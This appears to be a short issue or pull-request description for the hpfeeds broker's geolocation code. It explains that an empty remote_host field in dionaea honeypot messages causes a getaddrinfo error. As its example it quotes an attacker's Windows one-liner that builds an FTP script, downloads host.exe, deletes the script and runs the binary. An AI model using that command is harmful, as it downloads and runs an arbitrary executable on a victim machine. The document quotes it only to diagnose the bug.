Catch invalid messages

Sometimes the messages received from the dionaea hpfeeds module are somehow messed up.
For example:
When an attacker executes this command:

```bash
echo open 0.0.0.0 47659 > o&echo user 1 1 >> o &echo get host.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &host.exe
```

The payload sent from dionaea is the following:
```json
{"connection_type": "connect", "local_host": "127.0.0.1", "connection_protocol": "ftpctrl", "remote_port": 47659, "local_port": 59381, "remote_hostname": "0.0.0.0", "connection_transport": "tcp", "remote_host": ""}
```

Notice the empty remote_host here, this causes the following error:

>   File "~/hpfeeds/broker/geoloc/processors.py", line 24, in get_addr_family
>     ainfo = socket.getaddrinfo(addr, 1, socket.AF_UNSPEC, socket.SOCK_STREAM)
> gaierror: [Errno -5] No address associated with hostname

For sure this is only a workaround and it would be better if the messages gets validated in the dionaea module.